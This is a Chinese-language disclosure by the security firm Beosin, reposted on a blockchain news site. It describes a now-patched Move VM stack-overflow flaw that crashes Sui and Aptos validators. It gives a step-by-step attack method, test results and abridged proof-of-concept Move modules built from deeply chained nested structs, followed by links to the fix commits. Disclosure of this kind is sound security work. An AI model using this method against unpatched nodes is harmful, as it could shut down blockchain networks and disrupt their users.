Beosin发现Move VM严重级别漏洞:可导致 Sui、Aptos 等公链全网崩溃,甚至可能硬分叉

Beosin
Beosin 机构得得号

Jun 15, 2023 Beosin是总部位于新加坡的全球知名区块链安全公司,为区块链生态提供代码安全审计,安全风险监控、预警与阻断,虚拟资产被盗追回,KYT/AML等“一站式”安全产品+服务,已为全球2000多个区块链企业服务,保护客户资产5000多亿美元。

摘要: Suimainnet_v1.2.1、Aptosmainnet_v1.4.3、Move语言2023年6月10日之后的版本修复了此漏洞。

*本文作者:Beosin安全专家Poet

目前该漏洞已被官方修复。Suimainnet_v1.2.1、Aptosmainnet_v1.4.3、Move语言2023年6月10日之后的版本修复了此漏洞。 

前言

Move是一个新的区块链语言,被Aptos、Sui等公链使用。近期我们Beosin 安全研究团队发现了一个递归调用导致的栈溢出漏洞,这个漏洞可以导致整个网络崩溃(total network shutdown),还会导致新的validator无法加入到网络中,甚至可能会导致硬分叉!

我们在发现并验证这个漏洞后,第一时间( 2023 年5 月 30 日)通过邮件与Sui 团队取得联系,随后在他们的建议下,将漏洞提交到了 Immunefi 漏洞赏金平台( 2023 年6 月 2 日)。

Beosin团队5 月 30 日已联系Sui团队不过在我们提交漏洞之后,官方团队回复称他们于一个月前内部发现了该问题,并在秘密进行安全修复,并于我们提交immunefi的当天发布了修复版本( 2023 年6 月 2 日)。我们理解并尊重他们的回复。

当前版本该漏洞已修复,所以我们现在公开我们的研究发现。作为区块链安全行业的领先者,我们持续关注区块链生态的安全。 

知识前提

Move虚拟机是由Rust语言编写实现。Move 代码组织(和分发)的主要单位是Package。Package由一组module组成,这些module定义在单独的文件中,扩展名为 .move。这些文件包括 Move 函数和类型定义。
最小包源目录结构如下所示,包含清单文件、锁定文件和一个或多个模块文件所在的 sources 子目录:

my_move_package:
├── Move.lock
├── Move.toml
├── sources
├── my_module.move

Package可以被Publish到区块链上。一个Package可以包含多个Module,一个Module可以包含多个函数、结构体。

函数的参数可以是结构体,结构体可以内嵌其他结构体,如下所示:

module helloworld::hello { struct CCC { c : u64 }}
module my_module::my_module{ struct BBB { b : helloworld::hello::CCC }
struct AAA { a : BBB }
public fun mint( c_param : helloworld::hello::CCC ){ let a1 = AAA { a : BBB { b : c_param } };
let a2 = AAA { a : BBB { b : helloworld::hello::CCC { c : 0x555 } } }; }}

在Rust编程语言里面,递归函数调用的时候,如果没有限制调用深度,会导致栈溢出或者cpu、内存等资源的耗尽。Move 虚拟机正是由 Rust 语言编写。

漏洞描述

在Move虚拟机里面,为了处理各种结构化数据(比如序列化数据、结构体嵌套、数组嵌套、泛型嵌套),经常会用到递归函数。为了防止由于递归调用导致的栈溢出,需要对递归调用的深度进行检查。如下所示:

上面的图片是Move虚拟机限制简单和复杂类型结构的解析深度 

上面的图片是Move虚拟机对字节码里面SIGNATURE_TOKEN深度的限制。

尽管Move虚拟机在很多地方都有递归调用深度检查,但是它仍然有某些情况没有考虑到。

我们现在考虑一种攻击方式:定义一个struct A,然后A嵌套struct B,然后B嵌套struct C....这样一直嵌套下去,如果Move虚拟机是用一个递归函数来处理这种嵌套关系,那么Move虚拟机会因为栈溢出或者资源不足而崩溃。尽管Move对每个module可以定义的struct数量有限制,但是我们可以创建无数个module。

这样我们就有了攻击思路:

1、生成25个(完全可以比25多)package,每个package包含1个module

2、每个module里面定义64个(Aptos里面可以比64多)有链式嵌套关系的struct,每个module里的第一个struct,嵌套上一个module里面的最后一个struct。

3、每个module里面包含一个可调用的entry函数。这个函数接受一个参数,这个参数类型是上一个module的最后一个struct(第64个struct)。这个函数创建并返回本module的最后一个struct实例(第64个struct)

4、按照顺序publish每个package

5、按照顺序调用每个module里面的entry函数

针对Sui mainnet_v1.1.1_,我们测试后发现如下现象(我们的测试环境有4个validator):

1、运行一次poc之后,4个validator会因为栈溢出马上崩溃

2、至少3个validator崩溃重启后,所有的fullnode会崩溃

3、至少3个validator崩溃重启后,新的validator加入时会崩溃至少1次

4、至少3个validator崩溃重启后,新的fullnode加入时有时候会崩溃1次

5、如果运气好的话,某些validator、fullnode崩溃后无法重启,只有删除本地所有数据库,才能重启 

针对Sui mainnet_v1.2.0,我们测试后发现如下现象(我们的测试环境有4个validator):

1、运行一次poc之后,至少有1个validator会因为栈溢出或者out of memory而崩溃;

2、再次运行一次poc,可以让第2个validator崩溃。然后整个网络无法接受新的交易;

3、崩溃后的validator有可能无法重启。删除这个validator的所有本地数据库,然后运行它,它会在一段时间后崩溃,而且再也无法重启;

4、新的validator加入网络的时候,会崩溃。 

我们简单测试了Aptos,发现Aptos也会崩溃:

PoC

Sui链的PoC

module hello_world_2::hello{ use std::string; use sui::object::{Self, UID}; use sui::transfer; use sui::tx_context::{Self, TxContext};
struct T_0 has key,store{ id : UID, m : hello_world_1::hello::T_63 } struct T_1 has key,store{ id : UID, m : T_0 }
........other not printed.........
struct T_62 has key,store{ id : UID, m : T_61 } struct T_63 has key,store{ id : UID, m : T_62 } public entry fun mint(previous: hello_world_1::hello::T_63 ,ctx: &mut TxContext) { let object = T_63{ id: object::new(ctx), m : T_62{ id: object::new(ctx), m : T_61{ id: object::new(ctx),
........other not printed.........
m : T_1{ id: object::new(ctx), m : T_0{ id: object::new(ctx), m : previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}; transfer::transfer(object, tx_context::sender(ctx)); }}

每创建一个这样的module,就Publish到Sui链上,并调用mint函数,获取它创建的"object",同时将"object"作为参数传递给下一个module的mint函数,直到Sui节点崩溃

Aptos链的PoC

module Test2::test_module2{ struct Struct0 has key,store,drop { m : Test1::test_module1::Struct200 } struct Struct1 has key,store,drop{ m : Struct0 } ........other not printed.........
struct Struct199 has key,store,drop{ m : Struct198 } struct Struct200 has key,store,drop{ m : Struct199 } public entry fun mint(_account : signer){ let previous0 = 5554444; let previous1 = Test0::test_module0::test_function(previous0); let previous2 = Test1::test_module1::test_function(previous1); let _current = test_function(previous2); } public fun test_function(previous : Test1::test_module1::Struct200) : Struct200{ let object = Struct200{ m:Struct199{........other not printed......... m:Struct1{ m:Struct0{ m:previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}; object }}

每创建一个这样的module,就Publish到Aptos链上,并调用mint函数,直到Aptos节点崩溃。

漏洞修复

Sui mainnet_v1.2.1(2023年6月2号)、Aptos mainnet_v1.4.3(2023年6月3号)、Move语言2023年6月10日之后的版本修复了此漏洞。

Sui补丁代码:

https://github.com/MystenLabs/sui/commit/8b681515c0cf435df2a54198a28ab4ef574d202b

补丁代码在创建struct、vec、generic的地方,对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。

 

Aptos补丁代码:

https://github.com/aptos-labs/aptos-core/commit/47a0391c612407fe0b1051ef658a29e3

5d986963

和Sui一样,补丁代码在创建struct、vec、generic的地方,对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。


Move语言补丁代码:

https://github.com/move-language/move/commit/8f5303a365cf9da7554f8f18c393b3d6eb4867f2

和Sui、Aptos一样,补丁代码在创建struct、vec、generic的地方,对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。

漏洞影响

这个漏洞利用非常简单,而且一次攻击消耗的gas也非常小。但是该漏洞的影响非常大,可以导致整个网络崩溃(total network shutdown),还会让新的validator无法加入到网络中,甚至可能导致硬分叉(hard fork)。Sui mainnet_v1.2.1、Aptos mainnet_v1.4.3以前的版本都受此漏洞影响。

为什么这个漏洞有可能会导致硬分叉?

1、恶意攻击者可以创建任意深度的结构体嵌套关系,并将这些恶意struct部署到链上。然后针对这些结构体发送一些不可改变的恶意交易,虽然这个过程中可能会导致网络崩溃,但是部分恶意交易还是会被已经被部署到链上了。

2、为了修补这个漏洞,我们可以限制递归调用的深度。但是这样我们就再也无法引用已经部署到区块链上的的恶意结构体,也无法在虚拟机里面验证与恶意struct相关的历史交易。只有硬分叉才能解决这种问题。

3、由于导致硬分叉的测试对现行网络影响过于严重,我们放弃了该测试,但理论上我们认为可行。

总结

一个小小的递归函数调用,就导致栈溢出,而栈溢出又导致整个网络崩溃(total network shutdown),再利用一些攻击手段,很可能使区块链产生硬分叉。所以,区块链的安全是永远排在第一位的。我们建议项目方要多注意这种类型的漏洞,最好是找专业的区块链安全机构进行全面的审计。

Beosin作为一家全球领先的区块链安全公司,在全球10多个国家和地区设立了分部,业务涵盖项目上线前的代码安全审计、项目运行时的安全风险监控、预警与阻断、虚拟货币被盗资产追回、安全合规KYT/AML等“一站式”区块链安全产品+服务,目前已为全球3000多个区块链企业提供安全技术服务,审计智能合约超过3000份,同时,Beosin也提供上币项目的安全评估以及提供符合各地监管要求的合规评估、VaaS自动化上币审计服务、交易所渗透服务、交易所安全建设咨询服务等安全解决方案。欢迎点击公众号留言框,与我们联系。

链得得仅提供相关信息展示,不构成任何投资建议
本文系作者 Beosin 授权链得得发表,并经链得得编辑,转载请注明出处、作者和本文链接

更多精彩内容,关注链得得微信号(ID:ChainDD),或者下载链得得App

分享到:

相关推荐

    评论(0

    Oh! no

    您是否确认要删除该条评论吗?

    分享到微信